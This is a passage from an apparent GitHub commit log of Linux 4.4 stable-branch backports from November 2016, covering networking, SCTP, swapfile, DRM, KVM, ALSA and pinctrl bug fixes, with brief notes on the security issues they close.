    [ Upstream commit 85dda4e ]
    
    The offload flag is a status flag and should not be used by
    FIB semantics for comparison.
    
    Fixes: 37ed949 ("rtnetlink: add RTNH_F_EXTERNAL flag for fib offload")
    Signed-off-by: Jiri Pirko <[email protected]>
    Reviewed-by: Andy Gospodarek <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    jpirko authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    02558fa View commit details
    Browse the repository at this point in the history
  20. net: add recursion limit to GRO

    [ Upstream commit fcd91dd ]
    
    Currently, GRO can do unlimited recursion through the gro_receive
    handlers.  This was fixed for tunneling protocols by limiting tunnel GRO
    to one level with encap_mark, but both VLAN and TEB still have this
    problem.  Thus, the kernel is vulnerable to a stack overflow, if we
    receive a packet composed entirely of VLAN headers.
    
    This patch adds a recursion counter to the GRO layer to prevent stack
    overflow.  When a gro_receive function hits the recursion limit, GRO is
    aborted for this skb and it is processed normally.  This recursion
    counter is put in the GRO CB, but could be turned into a percpu counter
    if we run out of space in the CB.
    
    Thanks to Vladimír Beneš <[email protected]> for the initial bug report.
    
    Fixes: CVE-2016-7039
    Fixes: 9b174d8 ("net: Add Transparent Ethernet Bridging GRO support.")
    Fixes: 66e5133 ("vlan: Add GRO support for non hardware accelerated vlan")
    Signed-off-by: Sabrina Dubroca <[email protected]>
    Reviewed-by: Jiri Benc <[email protected]>
    Acked-by: Hannes Frederic Sowa <[email protected]>
    Acked-by: Tom Herbert <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    qsn authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    3cb00b9 View commit details
    Browse the repository at this point in the history
  21. ipv4: disable BH in set_ping_group_range()

    [ Upstream commit a681574 ]
    
    In commit 4ee3bd4 ("ipv4: disable BH when changing ip local port
    range") Cong added BH protection in set_local_port_range() but missed
    that same fix was needed in set_ping_group_range()
    
    Fixes: b8f1a55 ("udp: Add function to make source port for UDP tunnels")
    Signed-off-by: Eric Dumazet <[email protected]>
    Reported-by: Eric Salo <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    827ada2 View commit details
    Browse the repository at this point in the history
  22. ipv4: use the right lock for ping_group_range

    [ Upstream commit 396a30c ]
    
    This reverts commit a681574
    ("ipv4: disable BH in set_ping_group_range()") because we never
    read ping_group_range in BH context (unlike local_port_range).
    
    Then, since we already have a lock for ping_group_range, those
    using ip_local_ports.lock for ping_group_range are clearly typos.
    
    We might consider to share a same lock for both ping_group_range
    and local_port_range w.r.t. space saving, but that should be for
    net-next.
    
    Fixes: a681574 ("ipv4: disable BH in set_ping_group_range()")
    Fixes: ba6b918 ("ping: move ping_group_range out of CONFIG_SYSCTL")
    Cc: Eric Dumazet <[email protected]>
    Cc: Eric Salo <[email protected]>
    Signed-off-by: Cong Wang <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    congwang authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    1a680e5 View commit details
    Browse the repository at this point in the history
  23. net: sctp, forbid negative length

    [ Upstream commit a4b8e71 ]
    
    Most of getsockopt handlers in net/sctp/socket.c check len against
    sizeof some structure like:
            if (len < sizeof(int))
                    return -EINVAL;
    
    On the first look, the check seems to be correct. But since len is int
    and sizeof returns size_t, int gets promoted to unsigned size_t too. So
    the test returns false for negative lengths. Yes, (-1 < sizeof(long)) is
    false.
    
    Fix this in sctp by explicitly checking len < 0 before any getsockopt
    handler is called.
    
    Note that sctp_getsockopt_events already handled the negative case.
    Since we added the < 0 check elsewhere, this one can be removed.
    
    If not checked, this is the result:
    UBSAN: Undefined behaviour in ../mm/page_alloc.c:2722:19
    shift exponent 52 is too large for 32-bit type 'int'
    CPU: 1 PID: 24535 Comm: syz-executor Not tainted 4.8.1-0-syzkaller Freescale#1
    Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.9.1-0-gb3ef39f-prebuilt.qemu-project.org 04/01/2014
     0000000000000000 ffff88006d99f2a8 ffffffffb2f7bdea 0000000041b58ab3
     ffffffffb4363c14 ffffffffb2f7bcde ffff88006d99f2d0 ffff88006d99f270
     0000000000000000 0000000000000000 0000000000000034 ffffffffb5096422
    Call Trace:
     [<ffffffffb3051498>] ? __ubsan_handle_shift_out_of_bounds+0x29c/0x300
    ...
     [<ffffffffb273f0e4>] ? kmalloc_order+0x24/0x90
     [<ffffffffb27416a4>] ? kmalloc_order_trace+0x24/0x220
     [<ffffffffb2819a30>] ? __kmalloc+0x330/0x540
     [<ffffffffc18c25f4>] ? sctp_getsockopt_local_addrs+0x174/0xca0 [sctp]
     [<ffffffffc18d2bcd>] ? sctp_getsockopt+0x10d/0x1b0 [sctp]
     [<ffffffffb37c1219>] ? sock_common_getsockopt+0xb9/0x150
     [<ffffffffb37be2f5>] ? SyS_getsockopt+0x1a5/0x270
    
    Signed-off-by: Jiri Slaby <[email protected]>
    Cc: Vlad Yasevich <[email protected]>
    Cc: Neil Horman <[email protected]>
    Cc: "David S. Miller" <[email protected]>
    Cc: [email protected]
    Cc: [email protected]
    Acked-by: Neil Horman <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Jiri Slaby authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    80d5909 View commit details
    Browse the repository at this point in the history
  24. udp: fix IP_CHECKSUM handling

    [ Upstream commit 10df8e6 ]
    
    First bug was added in commit ad6f939 ("ip: Add offset parameter to
    ip_cmsg_recv") : Tom missed that ipv4 udp messages could be received on
    AF_INET6 socket. ip_cmsg_recv(msg, skb) should have been replaced by
    ip_cmsg_recv_offset(msg, skb, sizeof(struct udphdr));
    
    Then commit e6afc8a ("udp: remove headers from UDP packets before
    queueing") forgot to adjust the offsets now UDP headers are pulled
    before skb are put in receive queue.
    
    Fixes: ad6f939 ("ip: Add offset parameter to ip_cmsg_recv")
    Fixes: e6afc8a ("udp: remove headers from UDP packets before queueing")
    Signed-off-by: Eric Dumazet <[email protected]>
    Cc: Sam Kumar <[email protected]>
    Cc: Willem de Bruijn <[email protected]>
    Tested-by: Willem de Bruijn <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    d46c767 View commit details
    Browse the repository at this point in the history
  25. net sched filters: fix notification of filter delete with proper handle

    [ Upstream commit 9ee7837 ]
    
    Daniel says:
    
    While trying out [1][2], I noticed that tc monitor doesn't show the
    correct handle on delete:
    
    $ tc monitor
    qdisc clsact ffff: dev eno1 parent ffff:fff1
    filter dev eno1 ingress protocol all pref 49152 bpf handle 0x2a [...]
    deleted filter dev eno1 ingress protocol all pref 49152 bpf handle 0xf3be0c80
    
    some context to explain the above:
    The user identity of any tc filter is represented by a 32-bit
    identifier encoded in tcm->tcm_handle. Example 0x2a in the bpf filter
    above. A user wishing to delete, get or even modify a specific filter
    uses this handle to reference it.
    Every classifier is free to provide its own semantics for the 32 bit handle.
    Example: classifiers like u32 use schemes like 800:1:801 to describe
    the semantics of their filters represented as hash table, bucket and
    node ids etc.
    Classifiers also have internal per-filter representation which is different
    from this externally visible identity. Most classifiers set this
    internal representation to be a pointer address (which allows fast retrieval
    of said filters in their implementations). This internal representation
    is referenced with the "fh" variable in the kernel control code.
    
    When a user successfuly deletes a specific filter, by specifying the correct
    tcm->tcm_handle, an event is generated to user space which indicates
    which specific filter was deleted.
    
    Before this patch, the "fh" value was sent to user space as the identity.
    As an example what is shown in the sample bpf filter delete event above
    is 0xf3be0c80. This is infact a 32-bit truncation of 0xffff8807f3be0c80
    which happens to be a 64-bit memory address of the internal filter
    representation (address of the corresponding filter's struct cls_bpf_prog);
    
    After this patch the appropriate user identifiable handle as encoded
    in the originating request tcm->tcm_handle is generated in the event.
    One of the cardinal rules of netlink rules is to be able to take an
    event (such as a delete in this case) and reflect it back to the
    kernel and successfully delete the filter. This patch achieves that.
    
    Note, this issue has existed since the original TC action
    infrastructure code patch back in 2004 as found in:
    https://git.kernel.org/cgit/linux/kernel/git/history/history.git/commit/
    
    [1] http://patchwork.ozlabs.org/patch/682828/
    [2] http://patchwork.ozlabs.org/patch/682829/
    
    Fixes: 4e54c48 ("[NET]: Add tc extensions infrastructure.")
    Reported-by: Daniel Borkmann <[email protected]>
    Acked-by: Cong Wang <[email protected]>
    Signed-off-by: Jamal Hadi Salim <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    jhsmt authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    7c230d0 View commit details
    Browse the repository at this point in the history
  26. sctp: validate chunk len before actually using it

    [ Upstream commit bf911e9 ]
    
    Andrey Konovalov reported that KASAN detected that SCTP was using a slab
    beyond the boundaries. It was caused because when handling out of the
    blue packets in function sctp_sf_ootb() it was checking the chunk len
    only after already processing the first chunk, validating only for the
    2nd and subsequent ones.
    
    The fix is to just move the check upwards so it's also validated for the
    1st chunk.
    
    Reported-by: Andrey Konovalov <[email protected]>
    Tested-by: Andrey Konovalov <[email protected]>
    Signed-off-by: Marcelo Ricardo Leitner <[email protected]>
    Reviewed-by: Xin Long <[email protected]>
    Acked-by: Neil Horman <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    marceloleitner authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    bd891f4 View commit details
    Browse the repository at this point in the history
  27. packet: on direct_xmit, limit tso and csum to supported devices

    [ Upstream commit 104ba78 ]
    
    When transmitting on a packet socket with PACKET_VNET_HDR and
    PACKET_QDISC_BYPASS, validate device support for features requested
    in vnet_hdr.
    
    Drop TSO packets sent to devices that do not support TSO or have the
    feature disabled. Note that the latter currently do process those
    packets correctly, regardless of not advertising the feature.
    
    Because of SKB_GSO_DODGY, it is not sufficient to test device features
    with netif_needs_gso. Full validate_xmit_skb is needed.
    
    Switch to software checksum for non-TSO packets that request checksum
    offload if that device feature is unsupported or disabled. Note that
    similar to the TSO case, device drivers may perform checksum offload
    correctly even when not advertising it.
    
    When switching to software checksum, packets hit skb_checksum_help,
    which has two BUG_ON checksum not in linear segment. Packet sockets
    always allocate at least up to csum_start + csum_off + 2 as linear.
    
    Tested by running github.com/wdebruij/kerneltools/psock_txring_vnet.c
    
      ethtool -K eth0 tso off tx on
      psock_txring_vnet -d $dst -s $src -i eth0 -l 2000 -n 1 -q -v
      psock_txring_vnet -d $dst -s $src -i eth0 -l 2000 -n 1 -q -v -N
    
      ethtool -K eth0 tx off
      psock_txring_vnet -d $dst -s $src -i eth0 -l 1000 -n 1 -q -v -G
      psock_txring_vnet -d $dst -s $src -i eth0 -l 1000 -n 1 -q -v -G -N
    
    v2:
      - add EXPORT_SYMBOL_GPL(validate_xmit_skb_list)
    
    Fixes: d346a3f ("packet: introduce PACKET_QDISC_BYPASS socket option")
    Signed-off-by: Willem de Bruijn <[email protected]>
    Acked-by: Eric Dumazet <[email protected]>
    Acked-by: Daniel Borkmann <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    wdebruij authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    d21daf7 View commit details
    Browse the repository at this point in the history
  28. of: silence warnings due to max() usage

    commit aaaab56 upstream.
    
    pageblock_order can be (at least) an unsigned int or an unsigned long
    depending on the kernel config and architecture, so use max_t(unsigned
    long ...) when comparing it.
    
    fixes these warnings:
    
    In file included from include/linux/list.h:8:0,
                     from include/linux/kobject.h:20,
                     from include/linux/of.h:21,
                     from drivers/of/of_reserved_mem.c:17:
    drivers/of/of_reserved_mem.c: In function ‘__reserved_mem_alloc_size’:
    include/linux/kernel.h:748:17: warning: comparison of distinct pointer types lacks a cast
      (void) (&_max1 == &_max2);  \
                     ^
    include/linux/kernel.h:747:9: note: in definition of macro ‘max’
      typeof(y) _max2 = (y);   \
             ^
    drivers/of/of_reserved_mem.c:131:48: note: in expansion of macro ‘max’
       align = max(align, (phys_addr_t)PAGE_SIZE << max(MAX_ORDER - 1, pageblock_ord
                                                    ^
    include/linux/kernel.h:748:17: warning: comparison of distinct pointer types lacks a cast
      (void) (&_max1 == &_max2);  \
                     ^
    include/linux/kernel.h:747:21: note: in definition of macro ‘max’
      typeof(y) _max2 = (y);   \
                         ^
    drivers/of/of_reserved_mem.c:131:48: note: in expansion of macro ‘max’
       align = max(align, (phys_addr_t)PAGE_SIZE << max(MAX_ORDER - 1, pageblock_ord
                                                    ^
    
    Fixes: 1cc8e34 ("drivers: of: of_reserved_mem: fixup the alignment with CMA setup")
    Signed-off-by: Stephen Rothwell <[email protected]>
    Signed-off-by: Rob Herring <[email protected]>
    Cc: Arnd Bergmann <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    sfrothwell authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    e28a472 View commit details
    Browse the repository at this point in the history
  29. Revert KVM: MIPS: Drop other CPU ASIDs on guest MMU changes

    This reverts commit d450527 which was
    commit 91e4f1b upstream as it was
    incorrect.  A fixed version will be forthcoming.
    
    Reported-by: James Hogan <[email protected]>
    Cc: Paolo Bonzini <[email protected]>
    Cc: "Radim Krčmář" <[email protected]>
    Cc: Ralf Baechle <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    c57deab View commit details
    Browse the repository at this point in the history
  30. KVM: MIPS: Drop other CPU ASIDs on guest MMU changes

    commit 91e4f1b upstream.
    
    When a guest TLB entry is replaced by TLBWI or TLBWR, we only invalidate
    TLB entries on the local CPU. This doesn't work correctly on an SMP host
    when the guest is migrated to a different physical CPU, as it could pick
    up stale TLB mappings from the last time the vCPU ran on that physical
    CPU.
    
    Therefore invalidate both user and kernel host ASIDs on other CPUs,
    which will cause new ASIDs to be generated when it next runs on those
    CPUs.
    
    We're careful only to do this if the TLB entry was already valid, and
    only for the kernel ASID where the virtual address it mapped is outside
    of the guest user address range.
    
    Signed-off-by: James Hogan <[email protected]>
    Cc: Paolo Bonzini <[email protected]>
    Cc: "Radim Krčmář" <[email protected]>
    Cc: Ralf Baechle <[email protected]>
    Cc: [email protected]
    Cc: [email protected]
    Cc: <[email protected]> # 3.17.x-
    [[email protected]: Backport to 3.17..4.4]
    Signed-off-by: James Hogan <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    James Hogan authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    72c1344 View commit details
    Browse the repository at this point in the history
  31. drm/amdgpu/dp: add back special handling for NUTMEG

    commit 02d2723 upstream.
    
    When I fixed the dp rate selection in:
    3b73b168cffd9c392584d3f665021fa2190f8612
    drm/amdgpu: fix dp link rate selection (v2)
    I accidently dropped the special handling for NUTMEG
    DP bridge chips.  They require a fixed link rate.
    
    Reviewed-by: Christian König <[email protected]>
    Reviewed-by: Ken Wang <[email protected]>
    Reviewed-by: Harry Wentland <[email protected]>
    Signed-off-by: Alex Deucher <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    alexdeucher authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    2e8cfc1 View commit details
    Browse the repository at this point in the history
  32. drm/amdgpu: fix DP mode validation

    commit c47b9e0 upstream.
    
    Switch the order of the loops to walk the rates on the top
    so we exhaust all DP 1.1 rate/lane combinations before trying
    DP 1.2 rate/lane combos.
    
    This avoids selecting rates that are supported by the monitor,
    but not the connector leading to valid modes getting rejected.
    
    bug:
    https://bugs.freedesktop.org/show_bug.cgi?id=95206
    
    Signed-off-by: Alex Deucher <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    alexdeucher authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    227994b View commit details
    Browse the repository at this point in the history
  33. drm/radeon/dp: add back special handling for NUTMEG

    commit c8213a6 upstream.
    
    When I fixed the dp rate selection in:
    092c96a
    drm/radeon: fix dp link rate selection (v2)
    I accidently dropped the special handling for NUTMEG
    DP bridge chips.  They require a fixed link rate.
    
    Reviewed-by: Christian König <[email protected]>
    Reviewed-by: Ken Wang <[email protected]>
    Reviewed-by: Harry Wentland <[email protected]>
    Tested-by: Ken Moffat <[email protected]>
    Signed-off-by: Alex Deucher <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    alexdeucher authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    ccc31f8 View commit details
    Browse the repository at this point in the history
  34. drm/radeon: fix DP mode validation

    commit ff0bd44 upstream.
    
    Switch the order of the loops to walk the rates on the top
    so we exhaust all DP 1.1 rate/lane combinations before trying
    DP 1.2 rate/lane combos.
    
    This avoids selecting rates that are supported by the monitor,
    but not the connector leading to valid modes getting rejected.
    
    bug:
    https://bugs.freedesktop.org/show_bug.cgi?id=95206
    
    Signed-off-by: Alex Deucher <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    alexdeucher authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    2be0548 View commit details
    Browse the repository at this point in the history
  35. scsi: megaraid_sas: fix macro MEGASAS_IS_LOGICAL to avoid regression

    commit 5e5ec17 upstream.
    
    This patch will fix regression caused by commit 1e793f6 ("scsi:
    megaraid_sas: Fix data integrity failure for JBOD (passthrough)
    devices").
    
    The problem was that the MEGASAS_IS_LOGICAL macro did not have braces
    and as a result the driver ended up exposing a lot of non-existing SCSI
    devices (all SCSI commands to channels 1,2,3 were returned as
    SUCCESS-DID_OK by driver).
    
    [mkp: clarified patch description]
    
    Fixes: 1e793f6
    Reported-by: Jens Axboe <[email protected]>
    Signed-off-by: Kashyap Desai <[email protected]>
    Signed-off-by: Sumit Saxena <[email protected]>
    Tested-by: Sumit Saxena <[email protected]>
    Reviewed-by: Tomas Henzl <[email protected]>
    Tested-by: Jens Axboe <[email protected]>
    Signed-off-by: Martin K. Petersen <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    sumitsaxena11 authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    ae94da4 View commit details
    Browse the repository at this point in the history
  36. Linux 4.4.32

    gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    4dab3e4 View commit details
    Browse the repository at this point in the history

Commits on Nov 18, 2016

  1. ALSA: info: Return error for invalid read/write

    commit 6809cd6 upstream.
    
    Currently the ALSA proc handler allows read or write even if the proc
    file were write-only or read-only.  It's mostly harmless, does thing
    but allocating memory and ignores the input/output.  But it doesn't
    tell user about the invalid use, and it's confusing and inconsistent
    in comparison with other proc files.
    
    This patch adds some sanity checks and let the proc handler returning
    an -EIO error when the invalid read/write is performed.
    
    Signed-off-by: Takashi Iwai <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    tiwai authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    c1ea2b3 View commit details
    Browse the repository at this point in the history
  2. ALSA: info: Limit the proc text input size

    commit 027a9fe upstream.
    
    The ALSA proc handler allows currently the write in the unlimited size
    until kmalloc() fails.  But basically the write is supposed to be only
    for small inputs, mostly for one line inputs, and we don't have to
    handle too large sizes at all.  Since the kmalloc error results in the
    kernel warning, it's better to limit the size beforehand.
    
    This patch adds the limit of 16kB, which must be large enough for the
    currently existing code.
    
    Signed-off-by: Takashi Iwai <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    tiwai authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    f315579 View commit details
    Browse the repository at this point in the history
  3. ASoC: cs4270: fix DAPM stream name mismatch

    commit aa5f920 upstream.
    
    Mismatching stream names in DAPM route and widget definitions are
    causing compilation errors. Fixing these names allows the cs4270
    driver to compile and function.
    
    [Errors must be at probe time not compile time -- broonie]
    
    Signed-off-by: Murray Foster <[email protected]>
    Acked-by: Paul Handrigan <[email protected]>
    Signed-off-by: Mark Brown <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    resinbeard authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    a047690 View commit details
    Browse the repository at this point in the history
  4. dib0700: fix nec repeat handling

    commit ba13e98 upstream.
    
    When receiving a nec repeat, ensure the correct scancode is repeated
    rather than a random value from the stack.  This removes the need for
    the bogus uninitialized_var() and also fixes the warnings:
    
        drivers/media/usb/dvb-usb/dib0700_core.c: In function ‘dib0700_rc_urb_completion’:
        drivers/media/usb/dvb-usb/dib0700_core.c:679: warning: ‘protocol’ may be used uninitialized in this function
    
    [sean addon: So after writing the patch and submitting it, I've bought the
                 hardware on ebay. Without this patch you get random scancodes
                 on nec repeats, which the patch indeed fixes.]
    
    Signed-off-by: Sean Young <[email protected]>
    Tested-by: Sean Young <[email protected]>
    Signed-off-by: Arnd Bergmann <[email protected]>
    Signed-off-by: Linus Torvalds <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    seanyoung authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    2f7496c View commit details
    Browse the repository at this point in the history
  5. swapfile: fix memory corruption via malformed swapfile

    commit dd111be upstream.
    
    When root activates a swap partition whose header has the wrong
    endianness, nr_badpages elements of badpages are swabbed before
    nr_badpages has been checked, leading to a buffer overrun of up to 8GB.
    
    This normally is not a security issue because it can only be exploited
    by root (more specifically, a process with CAP_SYS_ADMIN or the ability
    to modify a swap file/partition), and such a process can already e.g.
    modify swapped-out memory of any other userspace process on the system.
    
    Link: http://lkml.kernel.org/r/[email protected]
    Signed-off-by: Jann Horn <[email protected]>
    Acked-by: Kees Cook <[email protected]>
    Acked-by: Jerome Marchand <[email protected]>
    Acked-by: Johannes Weiner <[email protected]>
    Cc: "Kirill A. Shutemov" <[email protected]>
    Cc: Vlastimil Babka <[email protected]>
    Cc: Hugh Dickins <[email protected]>
    Signed-off-by: Andrew Morton <[email protected]>
    Signed-off-by: Linus Torvalds <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    thejh authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    5c54f79 View commit details
    Browse the repository at this point in the history
  6. coredump: fix unfreezable coredumping task

    commit 70d78fe upstream.
    
    It could be not possible to freeze coredumping task when it waits for
    'core_state->startup' completion, because threads are frozen in
    get_signal() before they got a chance to complete 'core_state->startup'.
    
    Inability to freeze a task during suspend will cause suspend to fail.
    Also CRIU uses cgroup freezer during dump operation.  So with an
    unfreezable task the CRIU dump will fail because it waits for a
    transition from 'FREEZING' to 'FROZEN' state which will never happen.
    
    Use freezer_do_not_count() to tell freezer to ignore coredumping task
    while it waits for core_state->startup completion.
    
    Link: http://lkml.kernel.org/r/[email protected]
    Signed-off-by: Andrey Ryabinin <[email protected]>
    Acked-by: Pavel Machek <[email protected]>
    Acked-by: Oleg Nesterov <[email protected]>
    Cc: Alexander Viro <[email protected]>
    Cc: Tejun Heo <[email protected]>
    Cc: "Rafael J. Wysocki" <[email protected]>
    Cc: Michal Hocko <[email protected]>
    Signed-off-by: Andrew Morton <[email protected]>
    Signed-off-by: Linus Torvalds <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    aryabinin authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    e835220 View commit details
    Browse the repository at this point in the history
  7. s390/hypfs: Use get_free_page() instead of kmalloc to ensure page ali…

    …gnment
    
    commit 237d6e6 upstream.
    
    Since commit d86bd1b ("mm/slub: support left redzone") it is no longer
    guaranteed that kmalloc(PAGE_SIZE) returns page aligned memory.
    
    After the above commit we get an error for diag224 because aligned
    memory is required. This leads to the following user visible error:
    
     # mount none -t s390_hypfs /sys/hypervisor/
     mount: unknown filesystem type 's390_hypfs'
    
     # dmesg | grep hypfs
     hypfs.cccfb8: The hardware system does not provide all functions
                   required by hypfs
     hypfs.7a79f0: Initialization of hypfs failed with rc=-61
    
    Fix this problem and use get_free_page() instead of kmalloc() to get
    correctly aligned memory.
    
    Signed-off-by: Michael Holzheu <[email protected]>
    Signed-off-by: Martin Schwidefsky <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Michael Holzheu authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    3b21a0b View commit details
    Browse the repository at this point in the history
  8. ARC: timer: rtc: implement read loop in "C" vs. inline asm

    commit 922cc17 upstream.
    
    The current code doesn't even compile as somehow the inline assembly
    can't see the register names defined as ARC_RTC_*
    I'm pretty sure It worked when I first got it merged, but the tools were
    definitely different then.
    
    So better to write this in "C" anyways.
    
    Acked-by: Daniel Lezcano <[email protected]>
    Signed-off-by: Vineet Gupta <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    vineetgarc authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    c45bfaa View commit details
    Browse the repository at this point in the history
  9. pinctrl: cherryview: Serialize register access in suspend/resume

    commit 5621112 upstream.
    
    If async suspend is enabled, the driver may access registers concurrently
    with another instance which may fail because of the bug in Cherryview GPIO
    hardware. Prevent this by taking the shared lock while accessing the
    hardware in suspend and resume hooks.
    
    Signed-off-by: Mika Westerberg <[email protected]>
    Signed-off-by: Linus Walleij <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    westeri authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    126d0a2 View commit details
    Browse the repository at this point in the history
  10. pinctrl: cherryview: Prevent possible interrupt storm on resume

    commit d2cdf5d upstream.
    
    When the system is suspended to S3 the BIOS might re-initialize certain
    GPIO pins back to their original state or it may re-program interrupt mask
    of others. For example Acer TravelMate B116-M had BIOS bug where certain
    GPIO pin (MF_ISH_GPIO_5) was programmed to trigger on high level, and the
    pin state was high once the BIOS gave control to the OS on resume.
    
    This triggers lots of messages like:
    
     irq 117, desc: ffff88017a61e600, depth: 1, count: 0, unhandled: 0
     ->handle_irq():  ffffffff8109b613, handle_bad_irq+0x0/0x1e0
     ->irq_data.chip(): ffffffffa0020180, chv_pinctrl_exit+0x2d84/0x12 [pinctrl_cherryview]
     ->action():           (null)
        IRQ_NOPROBE set
    
    We reset the mask back to known state in chv_pinctrl_resume() but that is
    called only after device interrupts have already been enabled.
    
    Now, this particular issue was fixed by upgrading the BIOS to the latest
    (v1.23) but not everybody upgrades their BIOSes so we fix it up in the
    driver as well.
    
    Prevent the possible interrupt storm by moving suspend and resume hooks to
    be called at _noirq time instead. Since device interrupts are still
    disabled we can restore the mask back to known state before interrupt storm
    happens.
    
    Reported-by: Christian Steiner <[email protected]>
    Signed-off-by: Mika Westerberg <[email protected]>
    Signed-off-by: Linus Walleij <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    westeri authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    a98e483 View commit details
    Browse the repository at this point in the history
  11. staging: iio: ad5933: avoid uninitialized variable in error case

    commit 34eee70 upstream.
    
    The ad5933_i2c_read function returns an error code to indicate
    whether it could read data or not. However ad5933_work() ignores
    this return code and just accesses the data unconditionally,
    which gets detected by gcc as a possible bug:
    
    drivers/staging/iio/impedance-analyzer/ad5933.c: In function 'ad5933_work':
    drivers/staging/iio/impedance-analyzer/ad5933.c:649:16: warning: 'status' may be used uninitialized in this function [-Wmaybe-uninitialized]
    
    This adds minimal error handling so we only evaluate the
    data if it was correctly read.
    
    Link: https://patchwork.kernel.org/patch/8110281/
    Signed-off-by: Arnd Bergmann <[email protected]>
    Acked-by: Lars-Peter Clausen <[email protected]>
    Signed-off-by: Jonathan Cameron <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    arndb authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    6bba8c3 View commit details
    Browse the repository at this point in the history
  12. drivers: staging: nvec: remove bogus reset command for PS/2 interface

    commit d8f8a74 upstream.
    
    This command was sent behind serio's back and the answer to it was
    confusing atkbd probe function which lead to the elantech touchpad
    getting detected as a keyboard.
    
    To prevent this from happening just let every party do its part of the
    job.
    
    Signed-off-by: Paul Fertser <[email protected]>
    Acked-by: Marc Dietrich <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    paulfertser authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    729eb8d View commit details
    Browse the repository at this point in the history
  13. Revert "staging: nvec: ps2: change serio type to passthrough"

    commit 17c1c9b upstream.
    
    This reverts commit 36b30d6.
    
    This is necessary to detect paz00 (ac100) touchpad properly as one
    speaking ETPS/2 protocol. Without it X.org's synaptics driver doesn't
    work as the touchpad is detected as an ImPS/2 mouse instead.
    
    Commit ec6184b changed the way
    auto-detection is performed on ports marked as pass through and made the
    issue apparent.
    
    A pass through port is an additional PS/2 port used to connect a slave
    device to a master device that is using PS/2 to communicate with the
    host (so slave's PS/2 communication is tunneled over master's PS/2
    link). "Synaptics PS/2 TouchPad Interfacing Guide" describes such a
    setup (PS/2 PASS-THROUGH OPTION section).
    
    Since paz00's embedded controller is not connected to a PS/2 port
    itself, the PS/2 interface it exposes is not a pass-through one.
    
    Signed-off-by: Paul Fertser <[email protected]>
    Acked-by: Marc Dietrich <[email protected]>
